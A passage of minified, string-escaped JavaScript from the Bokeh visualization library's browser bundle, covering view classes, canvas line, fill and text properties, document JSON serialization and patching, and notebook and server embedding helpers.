Array.isArray(t)},i.isArrayOf=function(t,e){return n.all(t,e)},i.isArrayableOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(!e(t[i]))return!1;return!0},i.isTypedArray=function(t){return null!=t&&null!=t.buffer&&t.buffer instanceof ArrayBuffer},i.isObject=s,i.isPlainObject=function(t){return s(t)&&(null==t.constructor||t.constructor===Object)}},function(t,e,i){function n(t){var e=getComputedStyle(t).fontSize;return null!=e?parseInt(e,10):null}i.getDeltaY=function(t){var e,i=-t.deltaY;if(t.target instanceof HTMLElement)switch(t.deltaMode){case t.DOM_DELTA_LINE:i*=n((e=t.target).offsetParent||document.body)||n(e)||16;break;case t.DOM_DELTA_PAGE:i*=t.target.clientHeight}return i}},function(t,e,i){var f=t(31);function v(t,e,i){var n=[t.start,t.end],r=n[0],o=n[1],s=null!=i?i:(o+r)/2,a=r-(r-s)*e,l=o-(o-s)*e;return[a,l]}function m(t,e){var i=e[0],n=e[1],r={};for(var o in t){var s=t[o],a=s.r_invert(i,n),l=a[0],h=a[1];r[o]={start:l,end:h}}return r}i.scale_highlow=v,i.get_info=m,i.scale_range=function(t,e,i,n,r){void 0===i&&(i=!0),void 0===n&&(n=!0),e=f.clamp(e,-.9,.9);var o=i?e:0,s=v(t.bbox.h_range,o,null!=r?r.x:void 0),a=s[0],l=s[1],h=m(t.xscales,[a,l]),u=n?e:0,c=v(t.bbox.v_range,u,null!=r?r.y:void 0),_=c[0],p=c[1],d=m(t.yscales,[_,p]);return{xrs:h,yrs:d,factor:e}}},function(t,e,i){var n=t(44);i.isValue=function(t){return n.isObject(t)&&\\\"value\\\"in t},i.isField=function(t){return n.isObject(t)&&\\\"field\\\"in t}},function(t,e,i){var n=t(391),r=t(19),o=t(38),s=function(i){function t(t){var e=i.call(this)||this;if(e.removed=new r.Signal0(e,\\\"removed\\\"),null==t.model)throw new Error(\\\"model of a view wasn't configured\\\");return e.model=t.model,e._parent=t.parent,e.id=t.id||o.uniqueId(),e.initialize(t),!1!==t.connect_signals&&e.connect_signals(),e}return n.__extends(t,i),t.prototype.initialize=function(t){},t.prototype.remove=function(){this._parent=void 0,this.disconnect_signals(),this.removed.emit()},t.prototype.toString=function(){return this.model.type+\\\"View(\\\"+this.id+\\\")\\\"},Object.defineProperty(t.prototype,\\\"parent\\\",{get:function(){if(void 0!==this._parent)return this._parent;throw new Error(\\\"parent of a view wasn't configured\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_root\\\",{get:function(){return null===this.parent},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"root\\\",{get:function(){return this.is_root?this:this.parent.root},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){},t.prototype.disconnect_signals=function(){r.Signal.disconnectReceiver(this)},t.prototype.notify_finished=function(){this.root.notify_finished()},t}(r.Signalable());i.View=s},function(t,e,i){var n=t(391),r=t(16),o=t(27),s=function(){function t(t,e){void 0===e&&(e=\\\"\\\"),this.obj=t,this.prefix=e,this.cache={};var i=t.properties[e+this.do_attr].spec;this.doit=null!==i.value;for(var n=0,r=this.attrs;n<r.length;n++){var o=r[n];this[o]=t.properties[e+o]}}return t.prototype.warm_cache=function(t){for(var e=0,i=this.attrs;e<i.length;e++){var n=i[e],r=this.obj.properties[this.prefix+n];if(void 0!==r.spec.value)this.cache[n]=r.spec.value;else{if(null==t)throw new Error(\\\"source is required with a vectorized visual property\\\");this.cache[n+\\\"_array\\\"]=r.array(t)}}},t.prototype.cache_select=function(t,e){var i,n=this.obj.properties[this.prefix+t];return void 0!==n.spec.value?this.cache[t]=i=n.spec.value:this.cache[t]=i=this.cache[t+\\\"_array\\\"][e],i},t.prototype.set_vectorize=function(t,e){null!=this.all_indices?this._set_vectorize(t,this.all_indices[e]):this._set_vectorize(t,e)},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.strokeStyle=this.line_color.value(),t.globalAlpha=this.line_alpha.value(),t.lineWidth=this.line_width.value(),t.lineJoin=this.line_join.value(),t.lineCap=this.line_cap.value(),t.setLineDash(this.line_dash.value()),t.setLineDashOffset(this.line_dash_offset.value())},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"line_color\\\",e),t.strokeStyle!==this.cache.line_color&&(t.strokeStyle=this.cache.line_color),this.cache_select(\\\"line_alpha\\\",e),t.globalAlpha!==this.cache.line_alpha&&(t.globalAlpha=this.cache.line_alpha),this.cache_select(\\\"line_width\\\",e),t.lineWidth!==this.cache.line_width&&(t.lineWidth=this.cache.line_width),this.cache_select(\\\"line_join\\\",e),t.lineJoin!==this.cache.line_join&&(t.lineJoin=this.cache.line_join),this.cache_select(\\\"line_cap\\\",e),t.lineCap!==this.cache.line_cap&&(t.lineCap=this.cache.line_cap),this.cache_select(\\\"line_dash\\\",e),t.getLineDash()!==this.cache.line_dash&&t.setLineDash(this.cache.line_dash),this.cache_select(\\\"line_dash_offset\\\",e),t.getLineDashOffset()!==this.cache.line_dash_offset&&t.setLineDashOffset(this.cache.line_dash_offset)},e.prototype.color_value=function(){var t=o.color2rgba(this.line_color.value(),this.line_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(i.ContextProperties=s);(i.Line=h).prototype.attrs=Object.keys(r.line()),h.prototype.do_attr=\\\"line_color\\\";var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.set_value=function(t){t.fillStyle=this.fill_color.value(),t.globalAlpha=this.fill_alpha.value()},e.prototype._set_vectorize=function(t,e){this.cache_select(\\\"fill_color\\\",e),t.fillStyle!==this.cache.fill_color&&(t.fillStyle=this.cache.fill_color),this.cache_select(\\\"fill_alpha\\\",e),t.globalAlpha!==this.cache.fill_alpha&&(t.globalAlpha=this.cache.fill_alpha)},e.prototype.color_value=function(){var t=o.color2rgba(this.fill_color.value(),this.fill_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},e}(s);(i.Fill=u).prototype.attrs=Object.keys(r.fill()),u.prototype.do_attr=\\\"fill_color\\\";var c=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.cache_select=function(t,e){var i;if(\\\"font\\\"==t){a.prototype.cache_select.call(this,\\\"text_font_style\\\",e),a.prototype.cache_select.call(this,\\\"text_font_size\\\",e),a.prototype.cache_select.call(this,\\\"text_font\\\",e);var n=this.cache,r=n.text_font_style,o=n.text_font_size,s=n.text_font;this.cache.font=i=r+\\\" \\\"+o+\\\" \\\"+s}else i=a.prototype.cache_select.call(this,t,e);return i},t.prototype.font_value=function(){var t=this.text_font.value(),e=this.text_font_size.value(),i=this.text_font_style.value();return i+\\\" \\\"+e+\\\" \\\"+t},t.prototype.color_value=function(){var t=o.color2rgba(this.text_color.value(),this.text_alpha.value()),e=t[0],i=t[1],n=t[2],r=t[3];return\\\"rgba(\\\"+255*e+\\\",\\\"+255*i+\\\",\\\"+255*n+\\\",\\\"+r+\\\")\\\"},t.prototype.set_value=function(t){t.font=this.font_value(),t.fillStyle=this.text_color.value(),t.globalAlpha=this.text_alpha.value(),t.textAlign=this.text_align.value(),t.textBaseline=this.text_baseline.value()},t.prototype._set_vectorize=function(t,e){this.cache_select(\\\"font\\\",e),t.font!==this.cache.font&&(t.font=this.cache.font),this.cache_select(\\\"text_color\\\",e),t.fillStyle!==this.cache.text_color&&(t.fillStyle=this.cache.text_color),this.cache_select(\\\"text_alpha\\\",e),t.globalAlpha!==this.cache.text_alpha&&(t.globalAlpha=this.cache.text_alpha),this.cache_select(\\\"text_align\\\",e),t.textAlign!==this.cache.text_align&&(t.textAlign=this.cache.text_align),this.cache_select(\\\"text_baseline\\\",e),t.textBaseline!==this.cache.text_baseline&&(t.textBaseline=this.cache.text_baseline)},t}(s);(i.Text=c).prototype.attrs=Object.keys(r.text()),c.prototype.do_attr=\\\"text_color\\\";var a=function(){function t(t){for(var e=0,i=t.mixins;e<i.length;e++){var n=i[e],r=n.split(\\\":\\\"),o=r[0],s=r[1],a=void 0===s?\\\"\\\":s,l=void 0;switch(o){case\\\"line\\\":l=h;break;case\\\"fill\\\":l=u;break;case\\\"text\\\":l=c;break;default:throw new Error(\\\"unknown visual: \\\"+o)}this[a+o]=new l(t,a)}}return t.prototype.warm_cache=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&i.warm_cache(t)}},t.prototype.set_all_indices=function(t){for(var e in this)if(this.hasOwnProperty(e)){var i=this[e];i instanceof s&&(i.all_indices=t)}},t}();i.Visuals=a},function(t,e,i){var o=t(391),s=t(0),_=t(286),j=t(14),n=t(3),p=t(8),r=t(19),a=t(34),N=t(36),m=t(29),y=t(21),b=t(32),x=t(30),d=t(44),l=t(157),F=t(200),g=t(59),h=t(51),u=function(){function t(t){this.document=t,this.session=null,this.subscribed_models=new m.Set}return t.prototype.send_event=function(t){null!=this.session&&this.session.send_event(t)},t.prototype.trigger=function(t){for(var e=0,i=this.subscribed_models.values;e<i.length;e++){var n=i[e];if(null==t.model_id||t.model_id===n){var r=this.document._all_models[n];null!=r&&r._process_event(t)}}},t}();i.EventManager=u,i.documents=[],i.DEFAULT_TITLE=\\\"Bokeh Application\\\";var c=function(){function P(){i.documents.push(this),this._init_timestamp=Date.now(),this._title=i.DEFAULT_TITLE,this._roots=[],this._all_models={},this._all_models_by_name=new m.MultiDict,this._all_models_freeze_count=0,this._callbacks=[],this.event_manager=new u(this),this.idle=new r.Signal0(this,\\\"idle\\\"),this._idle_roots=new WeakMap,this._interactive_timestamp=null,this._interactive_plot=null}return Object.defineProperty(P.prototype,\\\"layoutables\\\",{get:function(){return this._roots.filter(function(t){return t instanceof l.LayoutDOM})},enumerable:!0,configurable:!0}),Object.defineProperty(P.prototype,\\\"is_idle\\\",{get:function(){for(var t=0,e=this.layoutables;t<e.length;t++){var i=e[t];if(!this._idle_roots.has(i))return!1}return!0},enumerable:!0,configurable:!0}),P.prototype.notify_idle=function(t){this._idle_roots.set(t,!0),this.is_idle&&(j.logger.info(\\\"document idle at \\\"+(Date.now()-this._init_timestamp)+\\\" ms\\\"),this.idle.emit())},P.prototype.clear=function(){this._push_all_models_freeze();try{for(;0<this._roots.length;)this.remove_root(this._roots[0])}finally{this._pop_all_models_freeze()}},P.prototype.interactive_start=function(t){null==this._interactive_plot&&(this._interactive_plot=t,this._interactive_plot.trigger_event(new n.LODStart({}))),this._interactive_timestamp=Date.now()},P.prototype.interactive_stop=function(t){null!=this._interactive_plot&&this._interactive_plot.id===t.id&&this._interactive_plot.trigger_event(new n.LODEnd({})),this._interactive_plot=null,this._interactive_timestamp=null},P.prototype.interactive_duration=function(){return null==this._interactive_timestamp?-1:Date.now()-this._interactive_timestamp},P.prototype.destructively_move=function(t){if(t===this)throw new Error(\\\"Attempted to overwrite a document with itself\\\");t.clear();var e=y.copy(this._roots);this.clear();for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null!=r.document)throw new Error(\\\"Somehow we didn't detach \\\"+r)}if(0!==Object.keys(this._all_models).length)throw new Error(\\\"this._all_models still had stuff in it: \\\"+this._all_models);for(var o=0,s=e;o<s.length;o++){var r=s[o];t.add_root(r)}t.set_title(this._title)},P.prototype._push_all_models_freeze=function(){this._all_models_freeze_count+=1},P.prototype._pop_all_models_freeze=function(){this._all_models_freeze_count-=1,0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._invalidate_all_models=function(){j.logger.debug(\\\"invalidating document models\\\"),0===this._all_models_freeze_count&&this._recompute_all_models()},P.prototype._recompute_all_models=function(){for(var t=new m.Set,e=0,i=this._roots;e<i.length;e++){var n=i[e];t=t.union(n.references())}for(var r=new m.Set(b.values(this._all_models)),o=r.diff(t),s=t.diff(r),a={},l=0,h=t.values;l<h.length;l++){var u=h[l];a[u.id]=u}for(var c=0,_=o.values;c<_.length;c++){var p=_[c];p.detach_document(),p instanceof g.Model&&null!=p.name&&this._all_models_by_name.remove_value(p.name,p)}for(var d=0,f=s.values;d<f.length;d++){var v=f[d];v.attach_document(this),v instanceof g.Model&&null!=v.name&&this._all_models_by_name.add_value(v.name,v)}this._all_models=a},P.prototype.roots=function(){return this._roots},P.prototype.add_root=function(t,e){if(j.logger.debug(\\\"Adding root: \\\"+t),!y.includes(this._roots,t)){this._push_all_models_freeze();try{this._roots.push(t)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootAddedEvent(this,t,e))}},P.prototype.remove_root=function(t,e){var i=this._roots.indexOf(t);if(!(i<0)){this._push_all_models_freeze();try{this._roots.splice(i,1)}finally{this._pop_all_models_freeze()}this._trigger_on_change(new h.RootRemovedEvent(this,t,e))}},P.prototype.title=function(){return this._title},P.prototype.set_title=function(t,e){t!==this._title&&(this._title=t,this._trigger_on_change(new h.TitleChangedEvent(this,t,e)))},P.prototype.get_model_by_id=function(t){return t in this._all_models?this._all_models[t]:null},P.prototype.get_model_by_name=function(t){return this._all_models_by_name.get_one(t,\\\"Multiple models are named '\\\"+t+\\\"'\\\")},P.prototype.on_change=function(t){y.includes(this._callbacks,t)||this._callbacks.push(t)},P.prototype.remove_on_change=function(t){var e=this._callbacks.indexOf(t);0<=e&&this._callbacks.splice(e,1)},P.prototype._trigger_on_change=function(t){for(var e=0,i=this._callbacks;e<i.length;e++){var n=i[e];n(t)}},P.prototype._notify_change=function(t,e,i,n,r){\\\"name\\\"===e&&(this._all_models_by_name.remove_value(i,t),null!=n&&this._all_models_by_name.add_value(n,t));var o=null!=r?r.setter_id:void 0,s=null!=r?r.hint:void 0;this._trigger_on_change(new h.ModelChangedEvent(this,t,e,i,n,o,s))},P._references_json=function(t,e){void 0===e&&(e=!0);for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.ref();s.attributes=o.attributes_as_json(e),delete s.attributes.id,i.push(s)}return i},P._instantiate_object=function(t,e,i){var n=o.__assign({},i,{id:t,__deferred__:!0}),r=s.Models(e);return new r(n)},P._instantiate_references_json=function(t,e){for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o.id,a=o.type,l=o.attributes||{},h=void 0;s in e?h=e[s]:(h=P._instantiate_object(s,a,l),null!=o.subtype&&h.set_subtype(o.subtype)),i[h.id]=h}return i},P._resolve_refs=function(t,e,i){function o(t){if(a.is_ref(t)){if(t.id in e)return e[t.id];if(t.id in i)return i[t.id];throw new Error(\\\"reference \\\"+JSON.stringify(t)+\\\" isn't known (not in Document?)\\\")}return d.isArray(t)?function(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];e.push(o(r))}return e}(t):d.isPlainObject(t)?function(t){var e={};for(var i in t){var n=t[i];e[i]=o(n)}return e}(t):t}return o(t)},P._initialize_references_json=function(t,e,i){for(var n={},r=0,o=t;r<o.length;r++){var s=o[r],a=s.id,l=s.attributes,h=!(a in e),u=h?i[a]:e[a],c=P._resolve_refs(l,e,i);n[u.id]=[u,c,h]}function _(h,u){var c={};function _(t){if(t instanceof p.HasProps){if(!(t.id in c)&&t.id in h){c[t.id]=!0;var e=h[t.id],i=e[1],n=e[2];for(var r in i){var o=i[r];_(o)}u(t,i,n)}}else if(d.isArray(t))for(var s=0,a=t;s<a.length;s++){var o=a[s];_(o)}else if(d.isPlainObject(t))for(var l in t){var o=t[l];_(o)}}for(var t in h){var e=h[t],i=e[0];_(i)}}_(n,function(t,e,i){i&&t.setv(e,{silent:!0})}),_(n,function(t,e,i){i&&t.finalize()})},P._event_for_attribute_change=function(t,e,i,n,r){var o=n.get_model_by_id(t.id);if(o.attribute_is_serializable(e)){var s={kind:\\\"ModelChanged\\\",model:{id:t.id,type:t.type},attr:e,new:i};return p.HasProps._json_record_references(n,i,r,!0),s}return null},P._events_to_sync_objects=function(t,e,i,n){for(var r=Object.keys(t.attributes),o=Object.keys(e.attributes),s=y.difference(r,o),a=y.difference(o,r),l=y.intersection(r,o),h=[],u=0,c=s;u<c.length;u++){var _=c[u];j.logger.warn(\\\"Server sent key \\\"+_+\\\" but we don't seem to have it in our JSON\\\")}for(var p=0,d=a;p<d.length;p++){var _=d[p],f=e.attributes[_];h.push(P._event_for_attribute_change(t,_,f,i,n))}for(var v=0,m=l;v<m.length;v++){var _=m[v],g=t.attributes[_],f=e.attributes[_];null==g&&null==f||(null==g||null==f?h.push(P._event_for_attribute_change(t,_,f,i,n)):x.isEqual(g,f)||h.push(P._event_for_attribute_change(t,_,f,i,n)))}return h.filter(function(t){return null!=t})},P._compute_patch_since_json=function(t,e){var i=e.to_json(!1);function n(t){for(var e={},i=0,n=t.roots.references;i<n.length;i++){var r=n[i];e[r.id]=r}return e}for(var r=n(t),o={},s=[],a=0,l=t.roots.root_ids;a<l.length;a++){var h=l[a];o[h]=r[h],s.push(h)}for(var u=n(i),c={},_=[],p=0,d=i.roots.root_ids;p<d.length;p++){var h=d[p];c[h]=u[h],_.push(h)}if(s.sort(),_.sort(),0<y.difference(s,_).length||0<y.difference(_,s).length)throw new Error(\\\"Not implemented: computing add/remove of document roots\\\");var f={},v=[];for(var m in e._all_models)if(m in r){var g=P._events_to_sync_objects(r[m],u[m],e,f);v=v.concat(g)}return{references:P._references_json(b.values(f),!1),events:v}},P.prototype.to_json_string=function(t){return void 0===t&&(t=!0),JSON.stringify(this.to_json(t))},P.prototype.to_json=function(t){void 0===t&&(t=!0);var e=this._roots.map(function(t){return t.id}),i=b.values(this._all_models);return{version:_.version,title:this._title,roots:{root_ids:e,references:P._references_json(i,t)}}},P.from_json_string=function(t){var e=JSON.parse(t);return P.from_json(e)},P.from_json=function(t){j.logger.debug(\\\"Creating Document from JSON\\\");var e=t.version,i=-1!==e.indexOf(\\\"+\\\")||-1!==e.indexOf(\\\"-\\\"),n=\\\"Library versions: JS (\\\"+_.version+\\\") / Python (\\\"+e+\\\")\\\";i||_.version===e?j.logger.debug(n):(j.logger.warn(\\\"JS/Python version mismatch\\\"),j.logger.warn(n));var r=t.roots,o=r.root_ids,s=r.references,a=P._instantiate_references_json(s,{});P._initialize_references_json(s,{},a);for(var l=new P,h=0,u=o;h<u.length;h++){var c=u[h];l.add_root(a[c])}return l.set_title(t.title),l},P.prototype.replace_with_json=function(t){var e=P.from_json(t);e.destructively_move(this)},P.prototype.create_json_patch_string=function(t){return JSON.stringify(this.create_json_patch(t))},P.prototype.create_json_patch=function(t){for(var e={},i=[],n=0,r=t;n<r.length;n++){var o=r[n];if(o.document!==this)throw j.logger.warn(\\\"Cannot create a patch using events from a different document, event had \\\",o.document,\\\" we are \\\",this),new Error(\\\"Cannot create a patch using events from a different document\\\");i.push(o.json(e))}return{events:i,references:P._references_json(b.values(e))}},P.prototype.apply_json_patch=function(t,e,i){for(var n,r=t.references,o=t.events,s=P._instantiate_references_json(r,this._all_models),a=0,l=o;a<l.length;a++){var h=l[a];switch(h.kind){case\\\"RootAdded\\\":case\\\"RootRemoved\\\":case\\\"ModelChanged\\\":var u=h.model.id;if(u in this._all_models)s[u]=this._all_models[u];else if(!(u in s))throw j.logger.warn(\\\"Got an event for unknown model \\\",h.model),new Error(\\\"event model wasn't known\\\")}}var c={},_={};for(var p in s){var d=s[p];p in this._all_models?c[p]=d:_[p]=d}P._initialize_references_json(r,c,_);for(var f=0,v=o;f<v.length;f++){var h=v[f];switch(h.kind){case\\\"ModelChanged\\\":var m=h.model.id;if(!(m in this._all_models))throw new Error(\\\"Cannot apply patch to \\\"+m+\\\" which is not in the document\\\");var g=this._all_models[m],y=h.attr,b=h.model.type;if(\\\"data\\\"===y&&\\\"ColumnDataSource\\\"===b){var x=N.decode_column_data(h.new,e),w=x[0],k=x[1];g.setv({_shapes:k,data:w},{setter_id:i})}else{var d=P._resolve_refs(h.new,c,_);g.setv(((n={})[y]=d,n),{setter_id:i})}break;case\\\"ColumnDataChanged\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S],T=N.decode_column_data(h.new,e),w=T[0],k=T[1];if(null!=h.cols){for(var A in C.data)A in w||(w[A]=C.data[A]);for(var A in C._shapes)A in k||(k[A]=C._shapes[A])}C.setv({_shapes:k,data:w},{setter_id:i,check_eq:!1});break;case\\\"ColumnsStreamed\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot stream to non-ColumnDataSource\\\");var w=h.data,E=h.rollover;C.stream(w,E,i);break;case\\\"ColumnsPatched\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot patch \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot patch non-ColumnDataSource\\\");var M=h.patches;C.patch(M,i);break;case\\\"RootAdded\\\":var O=h.model.id,z=s[O];this.add_root(z,i);break;case\\\"RootRemoved\\\":var O=h.model.id,z=s[O];this.remove_root(z,i);break;case\\\"TitleChanged\\\":this.set_title(h.title,i);break;default:throw new Error(\\\"Unknown patch event \\\"+JSON.stringify(h))}}},P}();i.Document=c},function(t,e,i){var n=t(391),o=t(8),r=function(t){this.document=t},s=function(l){function t(t,e,i,n,r,o,s){var a=l.call(this,t)||this;return a.model=e,a.attr=i,a.old=n,a.new_=r,a.setter_id=o,a.hint=s,a}return n.__extends(t,l),t.prototype.json=function(t){if(\\\"id\\\"===this.attr)throw new Error(\\\"'id' field should never change, whatever code just set it is wrong\\\");if(null!=this.hint)return this.hint.json(t);var e=this.new_,i=o.HasProps._value_to_json(this.attr,e,this.model),n={};for(var r in o.HasProps._value_record_references(e,n,!0),this.model.id in n&&this.model!==e&&delete n[this.model.id],n)t[r]=n[r];return{kind:\\\"ModelChanged\\\",model:this.model.ref(),attr:this.attr,new:i}},t}(i.DocumentChangedEvent=r);i.ModelChangedEvent=s;var a=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.column_source=e,n.patches=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"ColumnsPatched\\\",column_source:this.column_source,patches:this.patches}},t}(r);i.ColumnsPatchedEvent=a;var l=function(o){function t(t,e,i,n){var r=o.call(this,t)||this;return r.column_source=e,r.data=i,r.rollover=n,r}return n.__extends(t,o),t.prototype.json=function(t){return{kind:\\\"ColumnsStreamed\\\",column_source:this.column_source,data:this.data,rollover:this.rollover}},t}(r);i.ColumnsStreamedEvent=l;var h=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.title=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"TitleChanged\\\",title:this.title}},t}(r);i.TitleChangedEvent=h;var u=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return o.HasProps._value_record_references(this.model,t,!0),{kind:\\\"RootAdded\\\",model:this.model.ref()}},t}(r);i.RootAddedEvent=u;var c=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"RootRemoved\\\",model:this.model.ref()}},t}(r);i.RootRemovedEvent=c},function(t,e,i){var n=t(391);n.__exportStar(t(50),i),n.__exportStar(t(51),i)},function(t,e,n){var r=t(5);function o(t){var e=document.getElementById(t);if(null==e)throw new Error(\\\"Error rendering Bokeh model: could not find #\\\"+t+\\\" HTML tag\\\");if(!document.body.contains(e))throw new Error(\\\"Error rendering Bokeh model: element #\\\"+t+\\\" must be under <body>\\\");if(\\\"SCRIPT\\\"==e.tagName){var i=r.div({class:n.BOKEH_ROOT});r.replaceWith(e,i),e=i}return e}n.BOKEH_ROOT=\\\"bk-root\\\",n.inject_css=function(t){var e=r.link({href:t,rel:\\\"stylesheet\\\",type:\\\"text/css\\\"});document.body.appendChild(e)},n.inject_raw_css=function(t){var e=r.style({},t);document.body.appendChild(e)},n._resolve_element=function(t){var e=t.elementid;return null!=e?o(e):document.body},n._resolve_root_elements=function(t){var e={};if(null!=t.roots)for(var i in t.roots)e[i]=o(t.roots[i]);return e}},function(t,e,i){var d=t(52),f=t(14),s=t(25),v=t(38),m=t(44),g=t(57),y=t(56),b=t(53),n=t(57);i.add_document_standalone=n.add_document_standalone;var r=t(56);i.add_document_from_session=r.add_document_from_session;var o=t(55);i.embed_items_notebook=o.embed_items_notebook,i.kernels=o.kernels;var a=t(53);function l(t,e,i,n){m.isString(t)&&(t=JSON.parse(v.unescape(t)));var r={};for(var o in t){var s=t[o];r[o]=d.Document.from_json(s)}for(var a=0,l=e;a<l.length;a++){var h=l[a],u=b._resolve_element(h),c=b._resolve_root_elements(h);if(null!=h.docid)g.add_document_standalone(r[h.docid],u,c,h.use_for_title);else{if(null==h.sessionid)throw new Error(\\\"Error rendering Bokeh items: either 'docid' or 'sessionid' was expected.\\\");var _=y._get_ws_url(i,n);f.logger.debug(\\\"embed: computed ws url: \\\"+_);var p=y.add_document_from_session(_,h.sessionid,u,c,h.use_for_title);p.then(function(){console.log(\\\"Bokeh items were rendered successfully\\\")},function(t){console.log(\\\"Error rendering Bokeh items:\\\",t)})}}}i.BOKEH_ROOT=a.BOKEH_ROOT,i.inject_css=a.inject_css,i.inject_raw_css=a.inject_raw_css,i.embed_item=function(t,e){var i,n={},r=v.uuid4();n[r]=t.doc,null==e&&(e=t.target_id);var o={roots:((i={})[t.root_id]=e,i),docid:r};s.defer(function(){return l(n,[o])})},i.embed_items=function(t,e,i,n){s.defer(function(){return l(t,e,i,n)})}},function(t,e,r){var l=t(52),o=t(283),s=t(14),h=t(32),u=t(57),c=t(53);function a(t,e){0<e.buffers.length?t.consume(e.buffers[0].buffer):t.consume(e.content.data);var i=t.message;null!=i&&this.apply_json_patch(i.content,i.buffers)}function _(i,n){if(\\\"undefined\\\"!=typeof Jupyter&&null!=Jupyter.notebook.kernel){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var t=Jupyter.notebook.kernel.comm_manager;try{t.register_target(i,function(t){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var e=new o.Receiver;t.on_msg(a.bind(n,e))})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else if(n.roots()[0].id in r.kernels){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=r.kernels[n.roots()[0].id];try{e.registerCommTarget(i,function(t){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=new o.Receiver;t.onMsg=a.bind(n,e)})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else console.warn(\\\"Jupyter notebooks comms not available. push_notebook() will not function. If running JupyterLab ensure the latest jupyterlab_bokeh extension is installed. In an exported notebook this warning is expected.\\\")}r.kernels={},r.embed_items_notebook=function(t,e){if(1!=h.size(t))throw new Error(\\\"embed_items_notebook expects exactly one document in docs_json\\\");for(var i=l.Document.from_json(h.values(t)[0]),n=0,r=e;n<r.length;n++){var o=r[n];null!=o.notebook_comms_target&&_(o.notebook_comms_target,i);var s=c._resolve_element(o),a=c._resolve_root_elements(o);u.add_document_standalone(i,s,a)}}},function(t,e,i){var s=t(1),a=t(14),l=t(57);i._get_ws_url=function(t,e){var i,n=\\\"ws:\\\";return\\\"https:\\\"==window.location.protocol&&(n=\\\"wss:\\\"),null!=e?(i=document.createElement(\\\"a\\\")).href=e:i=window.location,null!=t?\\\"/\\\"==t&&(t=\\\"\\\"):t=i.pathname.replace(/\\\\/+$/,\\\"\\\"),n+\\\"//\\\"+i.host+t+\\\"/ws\\\"};var h={};i.add_document_from_session=function(t,e,i,n,r){void 0===n&&(n={}),void 0===r&&(r=!1);var o=window.location.search.substr(1);return function(t,e,i){t in h||(h[t]={});var n=h[t];return e in n||(n[e]=s.pull_session(t,e,i)),n[e]}(t,e,o).then(function(t){return l.add_document_standalone(t.document,i,n,r)},function(t){throw a.logger.error(\\\"Failed to load Bokeh session \\\"+e+\\\": \\\"+t),t})}},function(t,e,i){var h=t(52),u=t(5),c=t(0),_=t(53);i.add_document_standalone=function(t,o,s,e){void 0===s&&(s={}),void 0===e&&(e=!1);var a={};function i(t){var e;t.id in s?e=s[t.id]:o.classList.contains(_.BOKEH_ROOT)?e=o:(e=u.div({class:_.BOKEH_ROOT}),o.appendChild(e));var i,n,r=(n=new(i=t).default_view({model:i,parent:null}),c.index[i.id]=n);r.renderTo(e),a[t.id]=r}for(var n=0,r=t.roots();n<r.length;n++){var l=r[n];i(l)}return e&&(window.document.title=t.title()),t.on_change(function(t){t instanceof h.RootAddedEvent?i(t.model):t instanceof h.RootRemovedEvent?function(t){var e=t.id;if(e in a){var i=a[e];i.remove(),delete a[e],delete c.index[e]}}(t.model):e&&t instanceof h.TitleChangedEvent&&(window.document.title=t.title)}),a}},function(t,e,i){t(280);var n=t(286);i.version=n.version;var r=t(54);i.embed=r;var o=t(281);i.protocol=o;var s=t(285);i._testing=s;var a=t(14);i.logger=a.logger,i.set_log_level=a.set_log_level;var l=t(18);i.settings=l.settings;var h=t(0);i.Models=h.Models,i.index=h.index;var u=t(52);i.documents=u.documents;var c=t(284);i.safely=c.safely},function(t,e,i){var n=t(391),r=t(8),o=t(15),s=t(44),a=t(32),l=t(14),h=function(_){function i(t){return _.call(this,t)||this}return 